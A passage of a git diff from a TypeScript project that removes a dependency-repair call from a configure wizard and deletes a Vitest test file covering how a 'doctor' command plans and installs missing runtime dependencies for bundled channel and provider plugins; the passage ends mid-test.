ConfigureSectionChoice = WizardSection | "__continue"; type SetupPluginConfigModule = typeof import("../wizard/setup.plugin-config.js"); @@ -518,7 +517,6 @@ export async function runConfigureWizard( mergeBaseConfig = structuredClone(nextConfig); logConfigUpdated(runtime); - await preparePostConfigBundledRuntimeDeps({ config: nextConfig, runtime }); return; } catch (err) { if (err instanceof ConfigMutationConflictError && attempt < maxRetries - 1) { diff --git a/src/commands/doctor-bundled-plugin-runtime-deps.test.ts b/src/commands/doctor-bundled-plugin-runtime-deps.test.ts deleted file mode 100644 index 5605afb49de..00000000000 --- a/src/commands/doctor-bundled-plugin-runtime-deps.test.ts +++ /dev/null @@ -1,1078 +0,0 @@ -import fs from "node:fs"; -import os from "node:os"; -import path from "node:path"; -import { afterEach, describe, expect, it, vi } from "vitest"; -import type { BundledRuntimeDepsInstallParams } from "../plugins/bundled-runtime-deps-install.js"; -import { resolveBundledRuntimeDependencyPackageInstallRoot } from "../plugins/bundled-runtime-deps-roots.js"; -import { createBundledRuntimeDepsPackagePlan } from "../plugins/bundled-runtime-deps.js"; -import type { RuntimeEnv } from "../runtime.js"; -import { maybeRepairBundledPluginRuntimeDeps } from "./doctor-bundled-plugin-runtime-deps.js"; -import type { DoctorPrompter } from "./doctor-prompter.js"; - -type InstalledRuntimeDeps = BundledRuntimeDepsInstallParams[]; - -function writeJson(filePath: string, value: unknown) { - fs.mkdirSync(path.dirname(filePath), { recursive: true }); - fs.writeFileSync(filePath, `${JSON.stringify(value, null, 2)}\n`, "utf8"); -} - -function writeBundledChannelPlugin(root: string, id: string, dependencies: Record) { - writeBundledChannelOwnerPlugin(root, id, [id], dependencies); -} - -function writeBundledChannelOwnerPlugin( - root: string, - id: string, - channels: string[], - dependencies: Record, -) { - writeJson(path.join(root, "dist", "extensions", id, "package.json"), { - dependencies, - }); - writeJson(path.join(root, "dist", "extensions", id, "openclaw.plugin.json"), { - id, - channels, - configSchema: { type: "object" }, - }); -} - -function writeBundledProviderPlugin( - root: string, - id: string, - providers: string[], - dependencies: Record, -) { - writeJson(path.join(root, "dist", "extensions", id, "package.json"), { - dependencies, - }); - writeJson(path.join(root, "dist", "extensions", id, "openclaw.plugin.json"), { - id, - providers, - enabledByDefault: true, - configSchema: { type: "object" }, - }); -} - -function writeDefaultEnabledBundledChannelPlugin( - root: string, - id: string, - dependencies: Record, -) { - writeBundledChannelPlugin(root, id, dependencies); - writeJson(path.join(root, "dist", "extensions", id, "openclaw.plugin.json"), { - id, - channels: [id], - enabledByDefault: true, - configSchema: { type: "object" }, - }); -} - -function createInstalledRuntimeDeps(): InstalledRuntimeDeps { - return []; -} - -function parseInstallSpec(spec: string): { name: string; version: string } { - const versionSeparator = spec.startsWith("@") ? spec.indexOf("@", 1) : spec.lastIndexOf("@"); - if (versionSeparator <= 0) { - throw new Error(`Invalid install spec ${spec}`); - } - return { - name: spec.slice(0, versionSeparator), - version: spec.slice(versionSeparator + 1), - }; -} - -function materializeRuntimeDeps(params: BundledRuntimeDepsInstallParams): void { - for (const spec of params.installSpecs ?? params.missingSpecs) { - const { name, version } = parseInstallSpec(spec); - writeJson(path.join(params.installRoot, "node_modules", ...name.split("/"), "package.json"), { - name, - version: version.replace(/^[~^]/u, ""), - }); - } -} - -function readMaterializedRuntimeDepSpecs( - installRoot: string, - expectedSpecs: readonly string[], -): string[] { - return expectedSpecs.flatMap((spec) => { - const { name } = parseInstallSpec(spec); - const packageJsonPath = path.join( - installRoot, - "node_modules", - ...name.split("/"), - "package.json", - ); - if (!fs.existsSync(packageJsonPath)) { - return []; - } - const parsed = JSON.parse(fs.readFileSync(packageJsonPath, "utf8")) as { - name?: unknown; - version?: unknown; - }; - return typeof parsed.name === "string" && typeof parsed.version === "string" - ? [`${parsed.name}@${parsed.version}`] - : []; - }); -} - -function expectNoLegacyRuntimeDepsManifest(installRoot: string): void { - expect(fs.existsSync(path.join(installRoot, ".openclaw-runtime-deps.json"))).toBe(false); -} - -function createNonInteractiveDoctorPrompter( - options: { - repair?: boolean; - updateInProgress?: boolean; - confirmAutoFix?: DoctorPrompter["confirmAutoFix"]; - } = {}, -): DoctorPrompter { - const shouldRepair = options.repair ?? false; - return { - shouldRepair, - shouldForce: false, - repairMode: { - shouldRepair, - shouldForce: false, - nonInteractive: true, - canPrompt: false, - updateInProgress: options.updateInProgress ?? false, - }, - confirm: async () => false, - confirmAutoFix: options.confirmAutoFix ?? (async () => false), - confirmAggressiveAutoFix: async () => false, - confirmRuntimeRepair: async () => false, - select: async (_params: unknown, fallback: unknown) => fallback, - } as DoctorPrompter; -} - -function createPlainNonInteractivePrompter( - options: { confirmAutoFix?: DoctorPrompter["confirmAutoFix"] } = {}, -): DoctorPrompter { - return createNonInteractiveDoctorPrompter(options); -} - -function createNonInteractiveRepairPrompter( - options: { updateInProgress?: boolean } = {}, -): DoctorPrompter { - return createNonInteractiveDoctorPrompter({ ...options, repair: true }); -} - -function createRuntime(options: { logs?: string[]; errors?: string[] } = {}): RuntimeEnv { - return { - log: (message: unknown) => { - options.logs?.push(String(message)); - }, - error: (message: unknown) => { - options.errors?.push(String(message)); - }, - exit: (code: number) => { - throw new Error(`Unexpected runtime exit ${code}`); - }, - }; -} - -describe("doctor bundled plugin runtime deps", () => { - afterEach(() => { - vi.useRealTimers(); - }); - - it("skips source checkouts", () => { - const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-doctor-bundled-")); - fs.mkdirSync(path.join(root, ".git")); - fs.mkdirSync(path.join(root, "src")); - fs.mkdirSync(path.join(root, "extensions")); - writeJson(path.join(root, "dist", "extensions", "discord", "package.json"), { - dependencies: { - "dep-one": "1.0.0", - }, - }); - - const result = createBundledRuntimeDepsPackagePlan({ packageRoot: root }); - expect(result.missing).toEqual([]); - expect(result.conflicts).toEqual([]); - }); - - it("reports missing deps and conflicts", () => { - const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-doctor-bundled-")); - writeJson(path.join(root, "package.json"), { name: "openclaw" }); - - writeJson(path.join(root, "dist", "extensions", "alpha", "package.json"), { - dependencies: { - "@openclaw/plugin-sdk": "workspace:*", - "dep-one": "1.0.0", - "@scope/dep-two": "2.0.0", - openclaw: "workspace:*", - }, - optionalDependencies: { - "dep-opt": "3.0.0", - }, - }); - writeJson(path.join(root, "dist", "extensions", "beta", "package.json"), { - dependencies: { - "dep-one": "1.0.0", - "dep-conflict": "1.0.0", - }, - }); - writeJson(path.join(root, "dist", "extensions", "gamma", "package.json"), { - dependencies: { - "dep-conflict": "2.0.0", - }, - }); - - writeJson(path.join(root, "node_modules", "dep-one", "package.json"), { - name: "dep-one", - version: "1.0.0", - }); - - const result = createBundledRuntimeDepsPackagePlan({ packageRoot: root }); - const missing = result.missing.map((dep) => `${dep.name}@${dep.version}`); - - expect(missing).toEqual(["@scope/dep-two@2.0.0", "dep-one@1.0.0", "dep-opt@3.0.0"]); - expect(result.conflicts).toHaveLength(1); - expect(result.conflicts[0]?.name).toBe("dep-conflict"); - expect(result.conflicts[0]?.versions).toEqual(["1.0.0", "2.0.0"]); - }); - - it("limits configured scans to enabled bundled channel plugins", () => { - const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-doctor-bundled-")); - writeJson(path.join(root, "package.json"), { name: "openclaw" }); - - writeBundledChannelPlugin(root, "discord", { "discord-only": "1.0.0" }); - writeBundledChannelPlugin(root, "whatsapp", { "whatsapp-only": "1.0.0" }); - - const result = createBundledRuntimeDepsPackagePlan({ - packageRoot: root, - config: { - plugins: { enabled: true }, - channels: { - discord: { enabled: true }, - }, - }, - }); - - expect(result.missing.map((dep) => `${dep.name}@${dep.version}`)).toEqual([ - "discord-only@1.0.0", - ]); - expect(result.conflicts).toEqual([]); - }); - - it("does not report bundled channel deps when the channel is not enabled", () => { - const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-doctor-bundled-")); - writeJson(path.join(root, "package.json"), { name: "openclaw" }); - writeBundledChannelPlugin(root, "discord", { "discord-only": "1.0.0" }); - - const result = createBundledRuntimeDepsPackagePlan({ - packageRoot: root, - config: { - plugins: { enabled: true }, - }, - }); - - expect(result.missing).toEqual([]); - expect(result.conflicts).toEqual([]); - }); - - it("does not include explicitly disabled but configured bundled channel deps", () => { - const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-doctor-bundled-")); - writeJson(path.join(root, "package.json"), { name: "openclaw" }); - writeBundledChannelPlugin(root, "telegram", { "telegram-only": "1.0.0" }); - - const result = createBundledRuntimeDepsPackagePlan({ - packageRoot: root, - includeConfiguredChannels: true, - config: { - plugins: { enabled: true }, - channels: { - telegram: { enabled: false, botToken: "123:abc" }, - }, - }, - }); - - expect(result.missing).toEqual([]); - expect(result.conflicts).toEqual([]); - }); - - it("includes configured bundled channel deps for doctor recovery when not explicitly disabled", () => { - const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-doctor-bundled-")); - writeJson(path.join(root, "package.json"), { name: "openclaw" }); - writeBundledChannelPlugin(root, "telegram", { "telegram-only": "1.0.0" }); - - const result = createBundledRuntimeDepsPackagePlan({ - packageRoot: root, - includeConfiguredChannels: true, - config: { - plugins: { enabled: true }, - channels: { - telegram: { botToken: "123:abc" }, - }, - }, - }); - - expect(result.missing.map((dep) => `${dep.name}@${dep.version}`)).toEqual([ - "telegram-only@1.0.0", - ]); - expect(result.conflicts).toEqual([]); - }); - - it("does not include configured bundled channel deps when the plugin entry is disabled", () => { - const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-doctor-bundled-")); - writeJson(path.join(root, "package.json"), { name: "openclaw" }); - writeBundledChannelPlugin(root, "telegram", { "telegram-only": "1.0.0" }); - - const result = createBundledRuntimeDepsPackagePlan({ - packageRoot: root, - includeConfiguredChannels: true, - config: { - plugins: { - enabled: true, - entries: { - telegram: { enabled: false }, - }, - }, - channels: { - telegram: { botToken: "123:abc" }, - }, - }, - }); - - expect(result.missing).toEqual([]); - expect(result.conflicts).toEqual([]); - }); - - it("lets channel disablement suppress default-enabled bundled channel deps", () => { - const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-doctor-bundled-")); - writeJson(path.join(root, "package.json"), { name: "openclaw" }); - writeDefaultEnabledBundledChannelPlugin(root, "demo", { "demo-only": "1.0.0" }); - - const result = createBundledRuntimeDepsPackagePlan({ - packageRoot: root, - includeConfiguredChannels: true, - config: { - plugins: { enabled: true }, - channels: { - demo: { enabled: false }, - }, - }, - }); - - expect(result.missing).toEqual([]); - expect(result.conflicts).toEqual([]); - }); - - it("reports default-enabled gateway startup sidecar deps", () => { - const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-doctor-bundled-")); - writeJson(path.join(root, "package.json"), { name: "openclaw" }); - writeJson(path.join(root, "dist", "extensions", "browser", "package.json"), { - dependencies: { - "browser-only": "1.0.0", - }, - }); - writeJson(path.join(root, "dist", "extensions", "browser", "openclaw.plugin.json"), { - id: "browser", - enabledByDefault: true, - configSchema: { type: "object" }, - }); - - const result = createBundledRuntimeDepsPackagePlan({ - packageRoot: root, - config: { - plugins: { enabled: true }, - }, - }); - - expect(result.missing.map((dep) => `${dep.name}@${dep.version}`)).toEqual([ - "browser-only@1.0.0", - ]); - expect(result.conflicts).toEqual([]); - }); - - it("reports explicitly enabled provider deps", () => { - const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-doctor-bundled-")); - writeJson(path.join(root, "package.json"), { name: "openclaw" }); - writeJson(path.join(root, "dist", "extensions", "bedrock", "package.json"), { - dependencies: { - "bedrock-only": "1.0.0", - }, - }); - writeJson(path.join(root, "dist", "extensions", "bedrock", "openclaw.plugin.json"), { - id: "bedrock", - enabledByDefault: true, - providers: ["bedrock"], - configSchema: { type: "object" }, - }); - - const result = createBundledRuntimeDepsPackagePlan({ - packageRoot: root, - config: { - plugins: { - enabled: true, - allow: ["bedrock"], - entries: { bedrock: { enabled: true } }, - }, - }, - }); - - expect(result.missing.map((dep) => `${dep.name}@${dep.version}`)).toEqual([ - "bedrock-only@1.0.0", - ]); - expect(result.conflicts).toEqual([]); - }); - - it("does not report allowlist-excluded default-enabled bundled plugin deps", () => { - const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-doctor-bundled-")); - writeJson(path.join(root, "package.json"), { name: "openclaw" }); - writeJson(path.join(root, "dist", "extensions", "openai", "package.json"), { - dependencies: { - "openai-only": "1.0.0", - }, - }); - writeJson(path.join(root, "dist", "extensions", "openai", "openclaw.plugin.json"), { - id: "openai", - enabledByDefault: true, - configSchema: { type: "object" }, - }); - - const result = createBundledRuntimeDepsPackagePlan({ - packageRoot: root, - config: { - plugins: { enabled: true, allow: ["browser"] }, - }, - }); - - expect(result.missing).toEqual([]); - expect(result.conflicts).toEqual([]); - }); - - it("lets explicit bundled channel enablement bypass runtime-deps allowlist gating", () => { - const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-doctor-bundled-")); - writeJson(path.join(root, "package.json"), { name: "openclaw" }); - writeBundledChannelPlugin(root, "telegram", { "telegram-only": "1.0.0" }); - - const result = createBundledRuntimeDepsPackagePlan({ - packageRoot: root, - config: { - plugins: { enabled: true, allow: ["browser"] }, - channels: { - telegram: { enabled: true }, - }, - }, - }); - - expect(result.missing.map((dep) => `${dep.name}@${dep.version}`)).toEqual([ - "telegram-only@1.0.0", - ]); - expect(result.conflicts).toEqual([]); - }); - - it("does not let doctor channel recovery bypass restrictive plugin allowlists", () => { - const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-doctor-bundled-")); - writeJson(path.join(root, "package.json"), { name: "openclaw" }); - writeBundledChannelPlugin(root, "telegram", { "telegram-only": "1.0.0" }); - - const result = createBundledRuntimeDepsPackagePlan({ - packageRoot: root, - includeConfiguredChannels: true, - config: { - plugins: { enabled: true, allow: ["browser"] }, - channels: { - telegram: { botToken: "123:abc" }, - }, - }, - }); - - expect(result.missing).toEqual([]); - expect(result.conflicts).toEqual([]); - }); - - it("does not repair inactive default-enabled provider deps", async () => { - const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-doctor-bundled-")); - writeJson(path.join(root, "package.json"), { name: "openclaw" }); - writeJson(path.join(root, "dist", "extensions", "bedrock", "package.json"), { - dependencies: { - "bedrock-only": "1.0.0", - }, - }); - writeJson(path.join(root, "dist", "extensions", "bedrock", "openclaw.plugin.json"), { - id: "bedrock", - enabledByDefault: true, - providers: ["bedrock"], - configSchema: { type: "object" }, - }); - const installed = createInstalledRuntimeDeps(); - - await maybeRepairBundledPluginRuntimeDeps({ - runtime: createRuntime(), - prompter: createNonInteractiveRepairPrompter(), - packageRoot: root, - config: { - plugins: { enabled: true }, - }, - installDeps: (params) => { - installed.push(params); - materializeRuntimeDeps(params); - }, - }); - - expect(installed).toEqual([]); - }); - - it("does not repair missing runtime deps during plain non-interactive doctor", async () => { - const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-doctor-bundled-")); - writeJson(path.join(root, "package.json"), { name: "openclaw" }); - writeBundledProviderPlugin(root, "bedrock", ["bedrock"], { - "bedrock-only": "1.0.0", - }); - const installed = createInstalledRuntimeDeps(); - const confirmAutoFix = vi.fn(async () => true); - - await maybeRepairBundledPluginRuntimeDeps({ - runtime: createRuntime(), - prompter: createPlainNonInteractivePrompter({ confirmAutoFix }), - packageRoot: root, - config: { - plugins: { - enabled: true, - allow: ["bedrock"], - entries: { bedrock: { enabled: true } }, - }, - }, - installDeps: (params) => { - installed.push(params); - materializeRuntimeDeps(params); - }, - }); - - expect(installed).toEqual([]); - expect(confirmAutoFix).not.toHaveBeenCalled(); - }); - - it("repairs explicitly enabled provider deps", async () => { - const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-doctor-bundled-")); - writeJson(path.join(root, "package.json"), { name: "openclaw" }); - writeJson(path.join(root, "dist", "extensions", "bedrock", "package.json"), { - dependencies: { - "bedrock-only": "1.0.0", - }, - }); - writeJson(path.join(root, "dist", "extensions", "bedrock", "openclaw.plugin.json"), { - id: "bedrock", - enabledByDefault: true, - providers: ["bedrock"], - configSchema: { type: "object" }, - }); - const installed = createInstalledRuntimeDeps(); - - await maybeRepairBundledPluginRuntimeDeps({ - runtime: createRuntime(), - prompter: createNonInteractiveRepairPrompter(), - packageRoot: root, - config: { - plugins: { - enabled: true, - allow: ["bedrock"], - entries: { bedrock: { enabled: true } }, - }, - }, - installDeps: (params) => { - installed.push(params); - materializeRuntimeDeps(params); - }, - }); - - expect(installed).toEqual([ - { - installRoot: resolveBundledRuntimeDependencyPackageInstallRoot(root), - missingSpecs: ["bedrock-only@1.0.0"], - installSpecs: ["bedrock-only@1.0.0"], - }, - ]); - }); - - it("repairs configured provider deps", async () => { - const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-doctor-bundled-")); - writeJson(path.join(root, "package.json"), { name: "openclaw" }); - writeBundledProviderPlugin(root, "anthropic-vertex", ["anthropic-vertex"], { - "@anthropic-ai/vertex-sdk": "^0.16.0", - }); - const installed = createInstalledRuntimeDeps(); - - await maybeRepairBundledPluginRuntimeDeps({ - runtime: createRuntime(), - prompter: createNonInteractiveRepairPrompter(), - packageRoot: root, - config: { - plugins: { enabled: true }, - agents: { - defaults: { - model: "anthropic-vertex/claude-sonnet-4-6", - }, - }, - }, - installDeps: (params) => { - installed.push(params); - materializeRuntimeDeps(params); - }, - }); - - expect(installed).toEqual([ - { - installRoot: resolveBundledRuntimeDependencyPackageInstallRoot(root), - missingSpecs: ["@anthropic-ai/vertex-sdk@^0.16.0"], - installSpecs: ["@anthropic-ai/vertex-sdk@^0.16.0"], - }, - ]); - }); - - it("repairs configured provider deps from provider aliases and subagent defaults", async () => { - const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-doctor-bundled-")); - writeJson(path.join(root, "package.json"), { name: "openclaw" }); - writeBundledProviderPlugin(root, "amazon-bedrock", ["amazon-bedrock"], { - "bedrock-only": "1.0.0", - }); - const installed = createInstalledRuntimeDeps(); - - await maybeRepairBundledPluginRuntimeDeps({ - runtime: createRuntime(), - prompter: createNonInteractiveRepairPrompter(), - packageRoot: root, - config: { - plugins: { enabled: true }, - models: { - providers: { - "aws-bedrock": { - baseUrl: "", - auth: "aws-sdk", - models: [], - }, - }, - }, - agents: { - defaults: { - subagents: { - model: "bedrock/claude-sonnet-4-6", - }, - }, - }, - }, - installDeps: (params) => { - installed.push(params); - materializeRuntimeDeps(params); - }, - }); - - expect(installed).toEqual([ - { - installRoot: resolveBundledRuntimeDependencyPackageInstallRoot(root), - missingSpecs: ["bedrock-only@1.0.0"], - installSpecs: ["bedrock-only@1.0.0"], - }, - ]); - }); - - it("repairs missing deps during doctor --fix --non-interactive", async () => { - const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-doctor-bundled-")); - writeJson(path.join(root, "package.json"), { name: "openclaw" }); - writeBundledChannelPlugin(root, "telegram", { grammy: "1.37.0" }); - const installed = createInstalledRuntimeDeps(); - - await maybeRepairBundledPluginRuntimeDeps({ - runtime: createRuntime(), - prompter: createNonInteractiveRepairPrompter(), - packageRoot: root, - config: { - plugins: { enabled: true }, - channels: { telegram: { enabled: true } }, - }, - installDeps: (params) => { - installed.push(params); - materializeRuntimeDeps(params); - }, - }); - - const installRoot = resolveBundledRuntimeDependencyPackageInstallRoot(root); - expect(installed).toEqual([ - { - installRoot, - missingSpecs: ["grammy@1.37.0"], - installSpecs: ["grammy@1.37.0"], - }, - ]); - expect(installRoot).not.toBe(root); - expect(readMaterializedRuntimeDepSpecs(installRoot, ["grammy@1.37.0"])).toEqual([ - "grammy@1.37.0", - ]); - expectNoLegacyRuntimeDepsManifest(installRoot); - }); - - it("repairs a previous incomplete runtime deps install during doctor --fix --non-interactive", async () => { - const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-doctor-bundled-")); - writeJson(path.join(root, "package.json"), { name: "openclaw" }); - writeBundledChannelPlugin(root, "telegram", { grammy: "1.37.0" }); - const installRoot = resolveBundledRuntimeDependencyPackageInstallRoot(root); - writeJson(path.join(installRoot, "node_modules", "grammy", "package.json"), { - name: "grammy", - version: "1.37.0", - }); - const installed = createInstalledRuntimeDeps(); - - await maybeRepairBundledPluginRuntimeDeps({ - runtime: createRuntime(), - prompter: createNonInteractiveRepairPrompter(), - packageRoot: root, - config: { - plugins: { enabled: true }, - channels: { telegram: { enabled: true } }, - }, - installDeps: (params) => { - installed.push(params); - materializeRuntimeDeps(params); - }, - }); - - expect(installed).toEqual([ - { - installRoot, - missingSpecs: ["grammy@1.37.0"], - installSpecs: ["grammy@1.37.0"], - }, - ]); - }); - - it("logs runtime dependency repair progress before and after install", async () => { - const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-doctor-bundled-")); - writeJson(path.join(root, "package.json"), { name: "openclaw" }); - writeBundledChannelPlugin(root, "telegram", { grammy: "1.37.0" }); - const logs: string[] = []; - - await maybeRepairBundledPluginRuntimeDeps({ - runtime: createRuntime({ logs }), - prompter: createNonInteractiveRepairPrompter(), - packageRoot: root, - config: { - plugins: { enabled: true }, - channels: { telegram: { enabled: true } }, - }, - installDeps: async () => {}, - }); - - expect(logs).toEqual( - expect.arrayContaining([ - expect.stringContaining("Installing bundled plugin runtime deps (1 specs): grammy@1.37.0"), - expect.stringContaining("Installed bundled plugin runtime deps in"), - ]), - ); - }); - - it("logs runtime dependency repair heartbeats while install is pending", async () => { - vi.useFakeTimers(); - const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-doctor-bundled-")); - writeJson(path.join(root, "package.json"), { name: "openclaw" }); - writeBundledChannelPlugin(root, "telegram", { grammy: "1.37.0" }); - const logs: string[] = []; - let finishInstall!: () => void; - - const repair = maybeRepairBundledPluginRuntimeDeps({ - runtime: createRuntime({ logs }), - prompter: createNonInteractiveRepairPrompter(), - packageRoot: root, - config: { - plugins: { enabled: true }, - channels: { telegram: { enabled: true } }, - }, - installDeps: async () => - await new Promise((resolve) => { - finishInstall = resolve; - }), - }); - - await vi.waitFor(() => - expect(logs).toEqual([expect.stringContaining("Installing bundled plugin runtime deps")]), - ); - await vi.advanceTimersByTimeAsync(15_000); - expect(logs).toContain("Still installing bundled plugin runtime deps after 15s..."); - - finishInstall(); - await repair; - }); - - it("awaits async runtime-deps repairs before reporting completion", async () => { - const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-doctor-bundled-")); - writeJson(path.join(root, "package.json"), { name: "openclaw" }); - writeBundledChannelPlugin(root, "telegram", { grammy: "1.37.0" }); - const installed = createInstalledRuntimeDeps(); - const notes: string[] = []; - let finishInstall!: () => void; - - const repair = maybeRepairBundledPluginRuntimeDeps({ - runtime: { error: () => {}, log: () => {} } as never, - prompter: createNonInteractiveRepairPrompter(), - packageRoot: root, - config: { - plugins: { enabled: true }, - channels: { telegram: { enabled: true } }, - }, - installDeps: async (params) => { - installed.push(params); - await new Promise((resolve) => { - finishInstall = resolve; - }); - }, - }).then(() => notes.push("done")); - - await vi.waitFor(() => expect(installed).toHaveLength(1)); - expect(notes).toEqual([]); - - finishInstall(); - await repair; - expect(notes).toEqual(["done"]); - }); - - it("repairs deps for configured channel owner plugins", async () => { - const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-doctor-bundled-")); - writeJson(path.join(root, "package.json"), { name: "openclaw" }); - writeBundledChannelOwnerPlugin(root, "chat-bridge", ["telegram"], { grammy: "1.37.0" }); - const installed = createInstalledRuntimeDeps(); - - await maybeRepairBundledPluginRuntimeDeps({ - runtime: createRuntime(), - prompter: createNonInteractiveRepairPrompter(), - packageRoot: root, - config: { - plugins: { enabled: true }, - channels: { telegram: { enabled: true } }, - }, - installDeps: (params) => { - installed.push(params); - materializeRuntimeDeps(params); - }, - }); - - const installRoot = resolveBundledRuntimeDependencyPackageInstallRoot(root); - expect(installed).toEqual([ - { - installRoot, - missingSpecs: ["grammy@1.37.0"], - installSpecs: ["grammy@1.37.0"], - }, - ]); - }); - - it("does not repair configured channel deps when the owner plugin is disabled", async () => { - const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-doctor-bundled-")); - writeJson(path.join(root, "package.json"), { name: "openclaw" }); - writeBundledChannelPlugin(root, "discord", { "discord-api-types": "0.38.47" }); - const installed = createInstalledRuntimeDeps(); - - await maybeRepairBundledPluginRuntimeDeps({ - runtime: createRuntime(), - prompter: createNonInteractiveRepairPrompter(), - packageRoot: root, - config: { - plugins: { - enabled: true, - entries: { - discord: { enabled: false }, - }, - }, - channels: { - discord: { enabled: true, token: "disabled-plugin-entry-token" }, - }, - }, - installDeps: (params) => { - installed.push(params); - materializeRuntimeDeps(params); - }, - }); - - expect(installed).toEqual([]); - }); - - it("throws when bundled runtime dependency repair fails", async () => { - const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-doctor-bundled-")); - const errors: string[] = []; - writeJson(path.join(root, "package.json"), { name: "openclaw" }); - writeBundledChannelPlugin(root, "telegram", { grammy: "1.37.0" }); - - await expect( - maybeRepairBundledPluginRuntimeDeps({ - runtime: createRuntime({ errors }), - prompter: createNonInteractiveRepairPrompter(), - packageRoot: root, - config: { - plugins: { enabled: true }, - channels: { telegram: { enabled: true } }, - }, - installDeps: () => { - throw new Error("ENOSPC"); - }, - }), - ).rejects.toThrow("ENOSPC"); - - expect(errors.join("\n")).toContain( - "Failed to install bundled plugin runtime deps: Error: ENOSPC", - ); - }); - - it("repairs Feishu runtime deps from preserved source config", async () => { - const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-doctor-bundled-")); - writeJson(path.join(root, "package.json"), { name: "openclaw" }); - writeBundledChannelPlugin(root, "feishu", { "@larksuiteoapi/node-sdk": "^1.61.0" }); - const installed = createInstalledRuntimeDeps(); - - await maybeRepairBundledPluginRuntimeDeps({ - runtime: createRuntime(), - prompter: createNonInteractiveRepairPrompter({ updateInProgress: true }), - packageRoot: root, - includeConfiguredChannels: true, - config: { - plugins: { enabled: true }, - channels: { feishu: { enabled: true } }, - }, - installDeps: (params) => { - installed.push(params); - }, - }); - - const installRoot = resolveBundledRuntimeDependencyPackageInstallRoot(root); - expect(installed).toEqual([ - { - installRoot, - missingSpecs: ["@larksuiteoapi/node-sdk@^1.61.0"], - installSpecs: ["@larksuiteoapi/node-sdk@^1.61.0"], - }, - ]); - expect(installRoot).not.toBe(root); - }); - - it("repairs missing deps into an external stage dir when configured", async () => { - const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-doctor-bundled-")); - const stageDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-doctor-bundled-stage-")); - writeJson(path.join(root, "package.json"), { name: "openclaw", version: "2026.4.22" }); - writeBundledChannelPlugin(root, "slack", { "@slack/web-api": "7.15.1" }); - const env = { OPENCLAW_PLUGIN_STAGE_DIR: stageDir }; - const installed = createInstalledRuntimeDeps(); - - await maybeRepairBundledPluginRuntimeDeps({ - runtime: createRuntime(), - prompter: createNonInteractiveRepairPrompter(), - env, - packageRoot: root, - config: { - plugins: { enabled: true }, - channels: { slack: { enabled: true } }, - }, - installDeps: (params) => { - installed.push(params); - materializeRuntimeDeps(params); - }, - }); - - const installRoot = resolveBundledRuntimeDependencyPackageInstallRoot(root, { env }); - expect(installed).toEqual([ - { - installRoot, - missingSpecs: ["@slack/web-api@7.15.1"], - installSpecs: ["@slack/web-api@7.15.1"], - }, - ]); - expect(installRoot).toContain(stageDir); - expect(readMaterializedRuntimeDepSpecs(installRoot, ["@slack/web-api@7.15.1"])).toEqual([ - "@slack/web-api@7.15.1", - ]); - expectNoLegacyRuntimeDepsManifest(installRoot); - }); - - it("repairs the complete dependency plan into the final layered stage dir", async () => { - const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-doctor-bundled-")); - const baselineStageDir = fs.mkdtempSync( - path.join(os.tmpdir(), "openclaw-doctor-bundled-baseline-"), - ); - const writableStageDir = fs.mkdtempSync( - path.join(os.tmpdir(), "openclaw-doctor-bundled-writable-"), - ); - writeJson(path.join(root, "package.json"), { name: "openclaw", version: "2026.4.25" }); - writeBundledChannelPlugin(root, "slack", { - "@slack/web-api": "7.15.1", - grammy: "1.37.0", - }); - const env = { - OPENCLAW_PLUGIN_STAGE_DIR: [baselineStageDir, writableStageDir].join(path.delimiter), - }; - const installRoot = resolveBundledRuntimeDependencyPackageInstallRoot(root, { env }); - const baselineRoot = installRoot.replace(writableStageDir, baselineStageDir); - writeJson(path.join(baselineRoot, "node_modules", "@slack", "web-api", "package.json"), { - name: "@slack/web-api", - version: "7.15.1", - }); - const installed = createInstalledRuntimeDeps(); - - await maybeRepairBundledPluginRuntimeDeps({ - runtime: createRuntime(), - prompter: createNonInteractiveRepairPrompter(), - env, - packageRoot: root, - config: { - plugins: { enabled: true }, - channels: { slack: { enabled: true } }, - }, - installDeps: (params) => { - installed.push(params); - }, - }); - - expect(installRoot).toContain(writableStageDir); - expect(installed).toEqual([ - { - installRoot, - missingSpecs: ["@slack/web-api@7.15.1", "grammy@1.37.0"], - installSpecs: ["@slack/web-api@7.15.1", "grammy@1.37.0"], - }, - ]); - expectNoLegacyRuntimeDepsManifest(installRoot); - }); - - it("drops stale legacy bundled deps manifests when repairing a subset", async () => { - const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-doctor-bundled-")); - writeJson(path.join(root, "package.json"), { name: "openclaw" }); - writeBundledChannelPlugin(root, "telegram", { grammy: "1.37.0" }); - writeBundledChannelPlugin(root, "slack", { "@slack/web-api": "7.15.1" }); - const installRoot = resolveBundledRuntimeDependencyPackageInstallRoot(root); - writeJson(path.join(installRoot, ".openclaw-runtime-deps.json"), { - specs: ["@slack/web-api@7.15.1"], - }); - const installed = createInstalledRuntimeDeps(); - - await maybeRepairBundledPluginRuntimeDeps({ 